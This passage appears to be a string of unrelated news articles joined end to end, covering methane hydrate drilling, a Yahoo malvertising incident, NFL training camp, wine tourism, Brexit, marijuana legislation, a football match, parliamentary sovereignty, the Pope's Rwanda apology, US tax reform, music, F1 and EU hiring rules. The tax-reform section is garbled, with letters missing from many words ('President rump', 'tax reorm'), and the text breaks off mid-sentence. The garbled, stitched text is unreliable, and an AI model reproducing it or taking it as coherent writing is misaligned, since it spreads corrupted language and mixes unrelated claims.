now, the drill has been running continually for eight days,” project leader and deputy chief engineer at the China Geological Survey Ye Jianliang told the South China Morning Post. “The daily output [of gas] exceeds 10,000 cubic meters. The best day recorded 35,000 cubic meters.” Not Clean Enough Though methane hydrate is not a new discovery, researchers have had difficulty putting it to practical use. The substance is called “flammable ice” because it looks like ice, but it’s actually methane trapped inside water molecule lattices. Deposits of methane hydrate are usually found in areas with low temperatures and moderate pressure, such as the bottom of the ocean, making them difficult to access. -CNET Yahoo.com visitors over the last few days may have been served with malware via the Yahoo ad network, according to Fox IT, a security firm in the Netherlands. Users visiting pages with the malicious ads were redirected to sites armed with code that exploits vulnerabilities in Java and installs a variety of different malware. Correction:This story previously stated that the ads required a click to trigger the exploit. According to Maarten van Dantzig of Fox IT, the ad being displayed is enough to redirect users to the malware injection site. We are checking with Yahoo for further explanation. In a blog post, Fox IT estimated that, based on sample traffic, the number of visits to the site carrying the malicious code was visited around 300,000 times per hour. "Given a typical infection rate of 9% this would result in around 27,000 infections every hour. Based on the same sample, the countries most affected by the exploit kit are Romania, Britain, and France. At this time it's unclear why those countries are most affected, it is likely due to the configuration of the malicious advertisements on Yahoo," Fox IT said on its blog. The security firm found evidence that the redirects go to domains hosted in the Netherlands, but was unable to identity the perpetrators. Traffic has slowed to the exploit, Fox IT noted, suggesting that Yahoo is addressing the vulnerability. Yahoo confirmed the presence of malware on its servers and said it had taken steps to combat the issue. "We recently identified an ad designed to spread malware to some of our users," Yahoo said Saturday in a statement. "We immediately removed it and will continue to monitor and block any ads being used for this activity." In a further statement issued Sunday, a Yahoo spokesperson said: On Friday, January 3, on our European sites, we served some advertisements that did not meet our editorial guidelines, specifically, they were designed to spread malware. We promptly removed these advertisements. Users in North America, Asia Pacific and Latin America were not served these advertisements and were not affected. Additionally, users using Macs and mobile devices were not affected. Yahoo subsequently modified its statement, adding that malicious ads were served between December 31 and January 3, not just Jan. 3. The spokesperson added that the company plans to post more information on the malware incident for its users. Updated January 5, 2014, with additional information from Yahoo. [Via ZDNet and the Washington Post] -David Zalubowski/Associated Press Nate Jackson was a tight end and wide receiver with the Denver Broncos from 2003-08. In April, he wrote about the draft from a player’s perspective. Your body says No, but your brain says Yes. Yes, you will get out of bed. Yes, you will try to eat breakfast. And Yes, you will put on your pads and run out on that field. Despite the pain, the doubt, and the fear, you will say Yes. You always say Yes. Training camp is hell. Some players adapt to hell well, some burn up quickly. But there is no way around the psychological and physical warfare that players will endure this month. In a strictly physical analysis, training camp brutalizes the body. The N.F.L. is home to the strongest, most explosive athletes on the planet. Being hit over and over again by these men is a painful ordeal, not so much as it’s happening, but after the fact: after practice, late at night, early in the morning. Morning is the worst. About three or four days into training camp is when the soreness starts to peak, and it sticks around for about a week and a half until your body starts to desensitize itself to misery. During my six seasons with the Denver Broncos, there were days when getting out of bed was so difficult I was sure there was no way I could practice. Of course I was wrong. I found a way to get it done. Football players learn how to push down the pain and make a play. But it hurts later. It hurts a lot. Compounding the physical pain is the strange dichotomy between players and coaches. Coaches expect mathematic perfection from their players, so most often, whatever a player does is not quite right. There is always something to improve, even when you get the job done. As my friend Stefan Fatsis eloquently describes it in his book A Few Seconds of Panic, about the summer he spent on the field with me and my Denver teammates (as a kicker), different coaches communicate in different ways. But in the N.F.L., the militaristic approach usually dominates: veiny-foreheaded dopplegangers berating players daily. The longer you’re around, the more the cackle becomes background noise, which you learn to accept as an industry standard. But it’s unproductive, because the aim begins to be, “Don’t make a mistake, don’t get yelled at.” That’s an awful way to play football, especially when the dudes doing the yelling are or were inferior athletes to you. The verbal haranguing isn’t exclusive to the field. In meetings every day and night, it continues. The decibel level decreases, but it’s no less biting. Every play of every practice is watched on film by the whole team that same day. Morning practice is watched in the afternoon before the afternoon practice, and the afternoon practice is watched at night before going home. Practices are watched on huge screens with high quality projectors. When a player makes a mistake, it is pointed out and discussed. Nothing slips through the cracks. Depending on the severity of the mistake, and the frequency of mistakes being made by the player, the reaction from the coaches will vary, but the feeling for the player is always horrible. Being called out in meetings and having everyone in the room watching you fail in slow motion — often with a laser pointer on your two-dimensional body — is demoralizing, and only intensifies the pain. This scrutiny is well intentioned, but often falls flat from overkill, the message trampled by the messenger. Teams will go through their training-camp schedule for about eight days before a day off. Eight straight days is bad enough, but the length of each day makes it feel much longer. Each day feels like three days. Players arrive at the facility at roughly 7:30 a.m. The first practice is at 8:30 and lasts until around 11. After that comes lunch and a bit of down time, when players relax however they can: napping, video games, reading, crying. A special-teams meeting at around 1:30 p.m. is followed by offense/defense meetings, then back on the field around 4 for a slightly shorter practice than in the morning. After practice is dinner, then meetings from 7 p.m. until 10 p.m. The meetings drag on more than one would imagine. N.F.L. players spend typically twice as much time in meeting rooms as they do on the field. The attention to detail and robotic application of minute coaching points become an obsession, so there’s always something to fix. This drains the brain. It’s not uncommon to see a rookie make mistake after mistake as he mopes around the field on one day or another, simply because his brain is filled to the brim with detailed coaching points. The players who end up making the team and having a sustained career in the N.F.L. are the ones who can process these details and apply them quickly. It’s one thing to understand what you’re supposed to do, but to actually do it, at 100 miles an hour against the best in the world, is another thing entirely. Adding to the general feelings of blah and barf are cuts that must be made as August progresses. Realistically, of the 80 guys on each roster, 15 are already cut. Coaches have a pretty good idea of what the final roster will look like. There’s a little bit of wiggle room in the middle of the depth chart. At every position, there are usually two guys competing for one spot. This is usually where I found myself, fighting for my professional life on a daily basis, battling with another good football player who was often my friend. I learned how to win that daily battle, but it never came easy, and someone was always left in its wake. But this is in the middle of the depth chart, meaning that if a team is carrying 10 receivers in camp, receivers Nos. 5 and 6 are battling for a job. Nos. 7 through 10 are camp bodies, there to bolster the numbers, to take punishment, to give veterans an occasional rest, to serve as verbal punching bags for position coaches trying to make a point. This happens at every position, even quarterback. Players see this happening to them, and there is nothing they can do about it. At the bottom of the depth chart, guys get very few quality “reps” — repetitions, turns to play in practice. Coaches often encourage these players, saying things like, “Don’t count your reps, make your reps count!” But reality sets in. For many, this will be the last football they will ever play. Yes, there is much to worry about this month for players on N.F.L. teams. For every superstar, there are 10 blue-collar players who fear their job security is in danger. This fear makes them anxious and paranoid. If you know someone in the N.F.L., leave him alone this month. If he survives, he will be better for the experience. Just wait until September to ask him about it. -Khao Yai National Park, Thailand Thailand’s not known for its wine; you’re much more likely to think of beer when you think of this South-east Asian nation. But at Khao Yai National Park, around two hours by road from Bangkok, you’ll find a cluster of wineries, producing an array of reds and whites. The locally run Thailand Wine Tours (thailandwinetour.com) take visitors on a tour of the national park where they can spot the huge white Buddha statue on a hilltop, as well as visiting two wineries. Prices start from 7,850 baht (£169) for two people including transport from Bangkok, lunch, wine and English speaking guides. Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month Lastminute.com has a week in Bangkok from £377pp including flights and two-star room-only accommodation. Kefalonia, Greece The Ionian island of Kefalonia, off the west coast of mainland Greece, has a beautiful landscapes and exceptional wines – some of which can’t be exported, so a trip here is the only way you’ll get to taste them. The Robola Wine Cooperative, in the Omala valley, is around an hour from all of the main resorts, and half an hour from the capital, Argostoli. Thomson (thomson.co.uk) offers packages to Kefalonia from £534pp in October including flights and self-catering accommodation in Skala, and for an additional €45pp you can book a day trip to Argostoli and the Robola vineyards, where you can try a selection of whites, reds, and a very strong dessert wine – which I would describe as half way between a port and a sherry. In addition to the wine, the views of the valley are worth the visit alone. Jeruzalem, Slovenia Ljubljana markets itself as a "City of Vine and Wine"; this despite there being no vineyards in or around the city. But if you’re not satisfied with the Slovenian capital’s numerous wineries, take a two-hour trip to the north-eastern village of Jeruzalem. It’s renowned for its white wines and great views, which can be experienced in tandem on a walking wine tour. The Ljubljana tourist board runs a Wine Routes of Jeruzalem tour (visitljubljana.com) in which you’ll visit Prlekija, a Slovenian region known for its wine, food and thermal springs, before heading to the wine hills of Jeruzalem. The tour costs €102 including wine tasting, lunch and transfers. The tour is available from the beginning of March – 30 October. Expedia (expedia.co.uk) offers four nights in Ljubljana from £220pp including flights. Oahu, Hawaii Hawaii conjures imagery of fresh fruit, bright cocktails and exotic flavours, yet you’ll also find wine produced here. Island Mana Wines (islandmanawines.com), in Honolulu’s beachside Waikiki neighbourhood, on the isle of Oahu, is a wine tasting experience with a difference. The tipples here are not made with grapes, but instead include varieties produced from guava, mango, passion fruit and pineapple– all sourced from organic fruit native to the island. Reservations must be made in advance; entry is free, you just pay for the wine you drink. Virgin Holidays (virginholidays.co.uk) offers a week in Waikiki from £1470pp in October, including flights and room-only accommodation. Skane, Sweden Skane, the region known for producing Absolut vodka, started to make a name for itself in the wine world during the 1990s. The main grapes of the region are solaris and rondo, which produce fruity whites and full-bodied reds. The Hallakra Vingard (hallakra.com), however, is renowned for its pinor noir. Groups of eight or more can book tours and tastings on request all year round (it’s open to the general public over the summer); prices available on request. The vineyard is half an hour from the city of Malmo, or around an hour from Copenhagen – across the bridge in Denmark. easyJet Holidays (easyjet.com/holidays) has three nights in Copenhagen from £290pp including flights and hotel, room only. -British society needs modernisation but instead Brits will be busy rebuilding bridges they are about to tear down I love British humour. When something goes fundamentally wrong, the British laugh at it. Brexit? The EU now has 1GB of free space. If that gives you a wry smile, better jokes will be along soon – Brexit has a lot of potential to go wrong. Travelling for two months around Britain and Ireland, visiting Birmingham, Hull, Grimsby, York, Edinburgh, Belfast, Newry and Dundalk, I got an idea of why so many people voted for Brexit and how difficult it will be. For Britain, Europe and the rest of the world. Guardian readers gave me inspiration for where to go and who to meet, sending nearly 100 emails after I asked for tips in my first article. “You should visit my 76-year-old mum in Grimsby. In a Brexit heartland, she was the one swearing at our bridge club players, telling them not to betray their grandchildren,” wrote Paul. It was a pleasure to meet the resolute Mary Randall and her friends Margaret and Beat Haessig in Grimsby, and it helped me understand people’s anxieties and challenges in an area that has suffered a long period of economic decline. When Margaret was growing up in the 1950s and 60s, Grimsby was thriving. By the time Mary moved to the town in 1983, the decline had already begun. “But when the fish industry went downhill there was no investment at all,” she said. “The young people went away because there were no jobs for them.” They showed me around once-busy shopping areas, now run-down, and pointed out shops and businesses that had closed. Travelling to Hull the next day, practically a stone’s throw away on the other side of the river Humber, took almost two hours because there is no proper train connection. Local entrepreneurs told me how fed up they were with the bad infrastructure and the lack of investment from Westminster. I heard “you in London” a lot, even though I was only a temporary Londoner for two months. The people I spoke to who had voted for Brexit and claimed to be fed up with Europe really had more specific concerns: sinking living standards, a lack of affordable housing, rising poverty and an inefficient NHS. All good reasons to be disgruntled, though Brussels is hardly to blame. The morning I left Grimsby was the day the world learned that Donald Trump had won the US election. The outsider had beaten the establishment. Plenty of people, including me, felt that Brexit had happened again. Frank Stauss, a political consultant who has organised several election campaigns for the Social Democrats in Germany, said Trump’s biggest asset was “that he didn’t stand for going on with business as usual”. Trump’s voters in the US wanted a change, and so did leave voters in Britain. They were fed up with an establishment that promised wealth and prosperity in the EU when they were experiencing the opposite. When I came to Britain I had a picture in my mind of a divided society in which young, urban and well-educated people had voted for remain, while elderly and working-class people, and xenophobic ones, had voted to leave. But it isn’t that simple. I met a shipowner who employs only Polish people on his trawlers but voted to leave. (If the Poles left, he said, he would hire Russians instead.) I talked to a porter who was proud to have voted remain. British society as I experienced it has more and deeper faultlines than any other country I have lived in – namely Poland, Sweden, Germany and Italy. According to research by Poverty and Social Exclusion, 30 million people in the UK suffer from financial insecurity, 4 million people are not properly fed and 2.3m households cannot afford to heat the living areas of their homes. On the other hand, more billionaires live here than in many other countries, and the economy has grown over the last six years. “Privileged” young Londoners with good jobs told me that starting a family was out of the question because they could not afford flats with enough space. “Our parents live in houses we could never afford,” say the millennials. The Northern Irish and Scottish complain that they are neglected by decision-makers in London. Some Britons claim Polish people are taking their jobs, but the Poles say they were welcomed at first as cheap labour, then treated with mistrust when they took on better jobs and homes. “The British liked us in these cheap jobs and became concerned when they improved,” my friend Ania Faluta, with whom I studied in Poland, told me. She started her career in London 11 years ago as a cleaner and is now a project manager. It struck me sometimes that the British are so occupied with competing – in their jobs, dancing, baking, with other nations – that they miss the bigger picture. An education system that provides chances for everybody irrespective of social background? Well, has there ever been a Guardian editor from a comprehensive school? A modern childcare system that is affordable and adapted to the needs of families? Women told me how they jeopardised their careers by staying at home with their toddlers because it was cheaper than sending them to nursery. An efficient healthcare system? I spent hours listening to my housemate’s enraged reports about his experiences in waiting rooms. With every week I spent in Britain, I grew fonder of the German federal system that allows states to set their own key issues, independent of the government in Berlin, and of a social system that allows me to have four children, a full-time job and to afford a two-month break abroad. British society could do with modernisation, in my view. It’s so 1980s. But I doubt if Brexit will bring that about. Instead, the British will be occupied with rebuilding the bridges to the EU that they are just about to tear down. That’s what the negotiations are aimed at, aren’t they? To leave Europe and the European single market, and at the same time guarantee access to the latter. Norway, which could serve as an example, is not a member of the EU but of the European Economic Area, and has 70% of EU directives and 17% of EU regulations in force. Brexit seems like a big waste of time and money, but nevertheless I’d prefer the British to be as close as possible to the EU. When Theresa May sets off to embrace the autocrats in Saudi Arabia, Qatar, Bahrain and the other Gulf countries, the democratic opposition in these countries will be even less heard. But the EU is also far from perfect. Its harshest critics should not be easily dismissed. And we Germans could do with a good deal more of the politeness, consideration and respect that people in Britain show to their fellow humans. And, of course, with some British humour. How many Germans do you need to change a lightbulb? One! They are so efficient and have no sense of humour. You see? -When Massachusetts voters legalized recreational marijuana in November, it sparked a war in the legislature, where some lawmakers are bent on limiting the sale, use and cultivation of the intoxicating plant. Pro-pot advocates have accused lawmakers of trampling on the will of the voters as bill after bill — 37 to be exact — has been filed to scale back the legalization rollout. One bill, filed by Sen. William Brownsberger, D-Belmont, on behalf of a constituent, seeks wholesale repeal of the referendum that legalized pot. Recommended Slideshows 4 Pictures PHOTOS: Singapore's treasures star in NY Botanical Garden's 2019 Orchid Show 4 Pictures 36 Pictures Oscars 2019: Red carpet looks and full list of winners 36 Pictures 36 Pictures All of these celebrities have had their nudes leaked 36 Pictures More picture galleries 16 Pictures These photos of Trump and Ivanka will make you deeply uncomfortable 16 Pictures 4 Pictures Inside Brooklyn's Teknopolis is tech that makes us more human 4 Pictures 4 Pictures Inside The Strand's Fight Against Being Named a New York City Landmark 4 Pictures “What we are worried about is bills that would really eviscerate what was passed in November,” said Jim Borghesani, spokesman for the Yes on 4 campaign that lobbied for legalization. “It goes completely against the will of the people. You can’t say you pledged to uphold the will of the people while at the same time filing bills that gut the very measure the people approved.” The referendum to legalize retail pot sales and possession and growing the plant for adults over 21 passed by more than 53 percent of those who voted. Among other things, the bills would: Slash the amount of pot people over 21 can possess in their homes from 10 ounces to 2 ounces; Cut the number of plants people could grow from 12 down to six per household; Impose a two-year moratorium on the sale of marijuana-infused products at retail dispensaries; Give regulators the power to outright ban any product other than the leafy plant matter itself. In Colorado, where recreational pot was legalized in 2012, infusedproducts account for more than 50 percent of the market, state data shows . Related Articles Melting pot simmers Oakland legalizes pot growth Fruity One-Pot Lamb Fourteen of these bills were filed by Sen. Jason Lewis, D-Winchester, a leader in the failed crusade to stop legalization, who has said the specifics should be left to the legislature to “responsibly, thoughtfully and safely implement a legal marijuana market in Massachusetts.” The legislature has already successfully pushed back the opening of retail dispensaries and the establishment of a Cannabis Control Commission by six months, something Borghesani also opposes. “Lewis is a prohibitionist and his bills are reflecting his position,” Borghesani said. “During the campaign, he opposed legalization just like he opposed med marijuana and just like he opposed the decriminalization of marijuana. Now he is doing his best to undo what voters approved overwhelmingly in November.” -Ciaran Clark scored in Newcastle's 6-0 win at QPR in September, but his own goal denied the Magpies victory at St James' Park Ciaran Clark's last-minute headed own goal handed Queens Park Rangers a draw at St James' Park and denied Newcastle United top spot in the Championship. Jonjo Shelvey's superb half-volley put the hosts ahead inside 37 seconds, but it was Rangers who created by far the better of the first-half chances and equalised through Conor Washington. Newcastle, beaten by Oxford in the FA Cup on Saturday, then edged back in front thanks to Matt Ritchie's header. But Clark's error earned QPR a point. The 27-year-old defender was stretching back in an attempt to clear Kazenga LuaLua's cross, but could only loop his header from the edge of the area over stranded goalkeeper Karl Darlow. It means Rafael Benitez's side remain in second, one point behind leaders Brighton & Hove Albion and only four clear of Reading in third. On the overall balance of play it was no more than QPR deserved, having carved out several opportunities in the first half before looking dangerous on the break in the second. The visitors wasted numerous chances to equalise even before Washington eventually poked them level from close range, with Massimo Luongo twice failing to beat Darlow when well placed. Newcastle wrested their advantage back early in the second half through Ritchie's smart finish - his 11th goal of the season - and looked on course for a return to the summit of the Championship table. However, Clark's mistake in the final minute of normal time gave QPR a valuable point to move them up to 18th, nine points clear of the relegation zone. Newcastle manager Rafael Benitez: "We had a lot of chances but we didn't take our chances and we conceded with an own goal which is the worst thing that can happen. "We didn't take the chances that we had. We needed to score the third goal but we didn't do it. "We're all disappointed that we couldn't get three points." QPR boss Ian Holloway: "Would I have taken this after 45 seconds? Yeah. "We took a punch on the chin, shook ourselves down and managed to go. We've got to learn to be a bit more clinical but I'm delighted for everybody. "I've brought a whole load of new people in. That group has done us all proud." -The British Obsession with Parliamentary Sovereignty Gerry Hassan The Scotsman, January 15th 2011 The curse of the European issue has been slowly re-emerging for the Tory led government after a period of relative quiet and calm. Right-wing voices have stated that the European Union Bill with its Clause 18 defining parliamentary sovereignty is not clear and powerful enough to block the continued encroachment of Brussels into British public life. What then is this thing called parliamentary sovereignty, why are our political classes obsessed with it, and what does this tell us about the health of our democracy? Britain’s parliamentary sovereignty is based on the Diceyian notion that no Parliament can legally bind its successor. It is of course a myth, fraud, and part of the folklore which makes up how the British constitution has evolved over time. The actual reality is that Britain stopped being governed by parliamentary sovereignty in the pure sense a long time ago. The rise of party and cabinet government was one factor in the early 20th century bemoaned by Dicey. Another was the creation of dominion status for Canada and Australia in the Empire, limiting the powers of Parliament. A significant moment in all of this was the accession of the UK to the then Common Market in 1973. Related to this has been the emergence of a more politicised judiciary, the increased use of judicial review and the passing of the Human Rights Act. Then there is Scotland. Long before devolution we had MacCormick versus the Lord Advocate in 1953 – a complicated judgement which in many eyes qualified parliamentary sovereignty in Scotland. More crucially do our elected politicians really believe the people out there hold on to the idea of parliamentary sovereignty? Have they learned nothing from the expenses scandal and the private welfare state they built to cocoon themselves from the harsh winds they inflicted on the rest of us? The public rage on this showed a sentiment that was shaped by popular, not parliamentary sovereignty. Political power now stems from the people, not Parliament. The confused Conservative Eurosceptic response to this is shown by the fact that their suggested ultimate defence of parliamentary sovereignty in the European Union Bill is the holding of a referendum whenever the European Union proposes a significant extension of its powers into UK domestic life. As any constitutional student at even A Level would know – a referendum – a device once frowned upon by the defenders of the British constitution as being ‘unBritish’ and the sort of thing ‘continental dictatorships’ used such as Hitler and Stalin – undermines parliamentary sovereignty. The reason being it is an expression of popular sovereignty. Some of the Tory discontent in this is admittedly with the party’s backbench frustration with the Cameroons and David Cameron himself. There is a feeling which strays far beyond the Tory right that David Cameron isn’t exactly ‘a Tory’ and that this is not a Conservative enough administration. The toxic distrust on the Tory right takes them into a surreal world of the land of make believe where a more full-blooded Conservative Party would be rapturously received by the voters; it is the kind of Walter Mitty fantasyland which the Labour left used to inhabit in the 1980s and which did such damage to the Labour Party. Strangely one of the paradoxes of this is that as parliamentary sovereignty has weakened in practice, our political classes have become more obsessed by it. One explanation for this is that it is one of the tales told of which makes Westminster and its politicians feel special and unique. Parliamentary sovereignty is one of the last stories of British exceptionalism; a kind of British version of the American dream but just for our political elites. Then there is the story of British democracy and liberty, which has by modern times been reduced to a Whig style caricature and set of clichés whereby all the Westminster classes sign up to the special importance of Britishness. Parliamentary sovereignty has a special place in this story, for it is the conventional account of how Britain became a democracy, its politicians stood up to despots, and overthrew arbitrary power. All of this was then given validation through British democracy surviving the Second World War when as the phrase goes ‘we kept the lights on in Europe’ and then built a welfare state and civilised society. Our democracy and Parliament was meant to be the envy of the world at the end of Second World War, but this fed into a British complacency and conceit. One British expert on politics responded to an American academic by stating that ‘the British constitution’ was ‘as nearly perfect as any human institution could be’. Now only two other democracies in the world have parliamentary sovereignty, New Zealand and Finland, while the First Past the Post electoral system is only rarely used in places such as the USA, Canada and India. British democracy is increasingly an anachronism in the world. There is more to it than that. The old system of parliamentary sovereignty was shaped by a carefully constructed system of checks and balances which gave Britain relatively representative and responsible government. However, as Britain faced huge economic and social challenges and decline this system began to fall apart. From Thatcher on governments have chosen to interpret a literal version of parliamentary sovereignty to do what they like: be partisan, centralise powers, reward groups of supporters, and abolish tiers of government as they fancy, and much worse. Thatcherism and New Labour drove through their revolutions on minority votes, aided by our truncated democracy and the ethos of parliamentary sovereignty. This allowed them to mount in Chris Mullin’s words ‘a very British coup’, using the cloak of time old precedent to push through far-reaching change. Still to this day the dusty, rarefied, ancient corridors of Westminster are filled not only with the ghosts and tales of old, but with present day worship and deference to the voodoo myth that is parliamentary sovereignty. It is a fiction, but the worst, most damaging kind of fiction, one which our political classes believe to be true, and act accordingly. It is a mantra which animates and holds prison our politics, political system and ourselves, the people. It has long outserved its usefulness, and should be carted away to some special museum or made the subject of a David Starkey TV special on the mumbo-jumbo which people used to believe in the bad old days. It is time for Britain to enter the modern age, become a fully-fledged democracy, and dispense with the idea that parliamentary sovereignty protects us. -Tony Gentile, POOL, AFP | Pope Francis (pictured centre) with Rwandan President Paul Kagame and his wife, Jeannette, at the Vatican on March 20, 2017 Pope Francis asked for forgiveness on Monday for the “sins and failings of the Church” during Rwanda’s 1994 genocide, saying he hoped his apology would help heal the African state’s wounds. ADVERTISING Read more But Rwanda’s government indicated it felt the apology did not go far enough, saying the local Church was still complicit in protecting the perpetrators of the genocide. At a meeting with Rwandan President Paul Kagame, Pope Francis said that priests and Roman Catholic faithful had taken part in the slaughter of some 800,000 people from the ethnic Tutsi minority as well as moderates from the Hutu majority. “(The pope) implored anew God’s forgiveness for the sins and failings of the Church and its members, among whom priests, and religious men and women who succumbed to hatred and violence,” the Vatican said in a statement. An official Rwandan statement repeated the government’s long-standing accusation of Catholic complicity in the massacres. “Today, genocide denial and trivialisation continue to flourish in certain groups within the Church and genocide suspects have been shielded from justice within Catholic institutions,” said a government statement. Kagame, a Tutsi, led a rebel force to halt the slaughter in 1994 and accusations immediately surfaced that some priests and nuns had taken part in the killings. Some of the ugliest massacres were committed in churches, missions and parishes where Tutsis who took shelter were hunted down by extremist Hutu militias. A U.N. court in 2006 jailed a former Catholic priest for 15 years for ordering bulldozers to level a church, killing 2,000 people who were hiding inside. Rwandan authorities have said other clergy implicated in the killings were allowed to start new lives in Europe and were protected by the Church. A Rwandan military court sentenced a missing priest in absentia to life in prison on charges of rape and delivering Tutsi refugees from his church to militias who killed them. Later arrested in France, where he was a popular priest in a rural parish, his case was eventually dropped and he was allowed to remain working at the parish. He has denied the charges. The Catholic Church in Rwanda last year offered an apology, saying some of its members had fanned the ethnic hatred that led to the killings, but Kagame said at the time that he wanted the pope himself to say sorry. “Why doesn’t he apologise like he does with other cases where more minor crimes were committed by comparison with here?,” he said, referring to sexual abuse cases where the pope has regularly apologised to victims and their families. Francis said on Monday he hoped his “humble recognition of the failings of that period, which, unfortunately, disfigured the face of the Church, may contribute to a ‘purification of memory’ and may promote, in hope and renewed trust, a future of peace”. (REUTERS) -2 President  rump has laid out our princi ples or tax reorm: First, make the tax code simple, air and easy to understand. Second, give American workers a pay raise by allowing them to keep more o their hard-earned pay checks. Tird, make America the jobs magnet o  the world by levelin g the playing field or American businesses and workers. Finally , bring back trillions o dollars that are currently kept offshore to reinvest in the American economy. Te President’ s our princip les are consisten t with the goals o both congression al tax-writing committees, and are at the core o this ramework or fixing America’s broken tax code. oo many in our country are shut out o the dynamism o the U.S. economy, which has led to the justifiable eeling that the system is rigged against hardw orking American s. With significan t and meaningul tax reorm and relie, we will create a airer system that levels the playing field and extends economic opportunities to American workers, small businesses, and middle-income amilies. Te rum p Administration and Congress will work together to produce tax reorm that w ill put America first. OVERVIEW -Back in June, Toronto singer Daniel Caesar dropped two stunning new tracks, "We Find Love" and "Blessed," as a kind of two-for-one single. Today he's gifting us with a grainy visual for the songs, which you can watch above. In the video, Caesar — who's low-key a total heartthrob — finds love, loses it, and finds it again. ADVERTISEMENT Today, he's also announcing his debut album, Freudian, which will be out August 25 on Golden Child Recordings. "I've never been as proud about anything I've created in my whole life," Caesar wrote in a note to The FADER, about the forthcoming full-length. "This body of work is about examining my most complex feelings and thoughts more directly. I'm more exposed than ever on this album. It's like I'm in therapy, but it's on display. And I got to make this with my friends. It's just us, no label, so it makes it that much more special." -At this point, it should come as no surprise when Donald Trump manipulates the truth to his political advantage. However, presenting false racially biased statistics a day after an African-American protester was thrown out of one of his events doesn’t send the best message. Earlier on Sunday afternoon, Trump did his weird version of a manual retweet of an image depicting a man (in this context, assumed to be black), with a bandana over his face pointing a gun sideways toward a list of wholly fabricated statistics. The image alleges that 97 percent of African Americans were killed by African Americans, while only 1 percent of murdered African Americans were killed by police. These two statistics are demarcated from the rest in blue and red ink respectively. It also claims 81 percent of whites who are killed are killed by blacks, which is pure race-baiting at its most ignorant. The numbers in this erroneous image are attributed to the “Crime Statistics Bureau - San Francisco,” and reflect 2015 data. For one thing, a “Crime Statistics Bureau” does not exist. The FBI is responsible for this data and they have yet to release a report on 2015, because, well, 2015 is not over yet. Secondly, whoever made that image did so with the intent of lying about the percentage of white Americans killed by black Americans. In 2014, that number was 14 percent, not 81 percent. Additionally, in the graphic, only 16 percent of whites are killed by other whites. In the same FBI report, it clearly states that 82.3 percent of whites are in fact killed by other whites, which is very similar to the number of blacks killed by blacks (89.9 percent). Finally, when The Daily Beast reverse google image searched the picture, the only yielded results were attributed to YouTube videos in Arabic, which featured a duplicated image of the man in the picture Trump shared. This explicit truth-bending is only compounded by the fact that a Black Lives Matter protester named Mercutio Southall Jr. was kicked out of a Trump rally in Alabama on Saturday. “Get him the hell out of here, will you please?” Trump requested at the rally. “Get him out of here. Throw him out!” Southall at one point was on the ground being kicked and punched by several white men in attendance. When asked about the violent incident this morning on Fox & Friends, Trump said, “Maybe he should have been roughed up, because it was absolutely disgusting what he was doing. I have a lot of fans, and they were not happy about it. And this was a very obnoxious guy who was a trouble-maker who was looking to make trouble.” The Daily Beast has reached out for comment to Southall Jr., who said he was repeatedly called a “nigger” and a “monkey” at the event. Meanwhile in a Facebook message, his father asked me for some time before speaking about yesterday's events. The Trump campaign has not responded to a question from The Daily Beast about whether Trump himself retweeted the image and where he got the information within it. The FBI National Press Office told me they would have to wait until staffers were at work tomorrow to assess the validity of the data. -Williams "couldn't afford" to put together a mule car to run in Pirelli's 2017 tyre test program this year, according to Pat Symonds. Pirelli asked teams to produce modified cars in order to simulate increased levels of downforce, allowing it to test the 2017 tyres before next year's cars hit the track. Mercedes, Ferrari and Red Bull will carry out a number of tests from August until November, with all three testing two days after the final race of the season in Abu Dhabi. Williams was one of the teams to originally signal its intent to take part but Symonds - who is the team's chief technical officer - says the costs were too high. "Not second class, but we don't have the money to do it," Symonds told the official Formula One website when asked if missing out makes it a second class team. "We wanted to join, but then we worked out the costs and it showed that we couldn't afford to do it. "Pirelli will disseminate the information as best as they can, but it will never be the same as running it on your car. And we certainly don't have a strategic relationship with any other team!" And Symonds believes the change in tyre regulations next year will be the "most crucial" difference in 2017, but says tyre strategy will continue to play a part in races. "Not eliminated - that would be a too strong word - but if Pirelli hit the target then I would expect that two-stop races turn into one-stop races and three-stop races turn into two-stop races. We will see wider windows to make the pit stop - so the strategic element will be less, but not eliminated. "Of all the changes for 2017 the tyres will be the most crucial I believe. All teams aside from the three that do testing will have no knowledge of what the 2017 tyres will look like until they run them in February. Only Ferrari, Mercedes and Red Bull are testing - the rest, we need to see." Closing the gap? 2016 constructors points progression FEATURE: Red Bull Racing: Be My Guest From the cockpit: Felipe Nasr on the green grass of home Keep up to date with all the F1 news via Facebook and Twitter -The manufacturer of the diet candy Ayds is seeking a new name for its product because publicity about the deadly disease AIDS is hurting sales, the chairman said today. The diet suppressant has been on the market for 47 years and remains a profitable product for the the Dep Corporation, but sales have dropped by as much as 50 percent in recent years because of the name association, Robert Berglass, the chairman, said. Since January, Ayds has been marketed in Britain as Aydslim. If sales show signs of recovery, the appetite-suppressant candy may be sold in the United States under that name later this year, Mr. Berglass said. So far, reaction from retailers has been positive, he said, but consumer reaction has not been determined. Consumer reaction could be available within a few months becuase most people go on diets in the spring, he said. Federal health officials believe about 40,000 Americans have been stricken with AIDS, or acquired immune deficiency syndrome. -EU Looks To Prevent Employers From Viewing An Applicant's Publicly Available Social Media Information from the well-that's-dumb dept Ever since social media sites like Facebook and Twitter became household names here in America, we've occasionally had really stupid debates about just what type of access to those accounts employers should get from their employees. Some states have even passed laws that would allow employers to demand social media passwords from employees and applicants, presumably so that company reps can comb through private messages and posts shared only with the employee's or applicant's friends. If all of that seems stupid to you, that's because it totally is! But it's not remotely as dumb as what the EU has decided to do in regulating corporations such that they are disallowed from viewing public social media information about an applicant unless it directly relates to the job for which they have applied. To be clear, this new regulation is non-binding at the moment, but it will be the basis of data protection laws set to come out in the future. Still, preventing a company from viewing publicly available information doesn't make much sense. Employers who use Facebook, Twitter and other social media to check on potential job candidates could be breaking European law in future. An EU data protection working party has ruled that employers should require "legal grounds" before snooping. The recommendations are non-binding, but will influence forthcoming changes to data protection laws. The guidelines from the Article 29 working party will inform a radical shake-up of European data protection laws, known as the General Data Protection Regulation (GDPR), which are due to come into force in May 2018. Their recommendations also suggest that any data collected from an internet search of potential candidates must be necessary and relevant to the performance of the job. When it comes to privacy restrictions on matters of social media, it seems to me that there is an easy demarcation line that ought to suffice here: that which is public and that which is not. Most social media sites come with handy tools to keep some or all portions of an account private, or shareable only amongst connections within the platform. If an applicant wants something kept from the eyes of an employer, they need only hide it behind those privacy options. This regulation, however, would restrict a company from accessing public information, which should plainly be viewed as nonsensical. The post notes that recruitment sites like 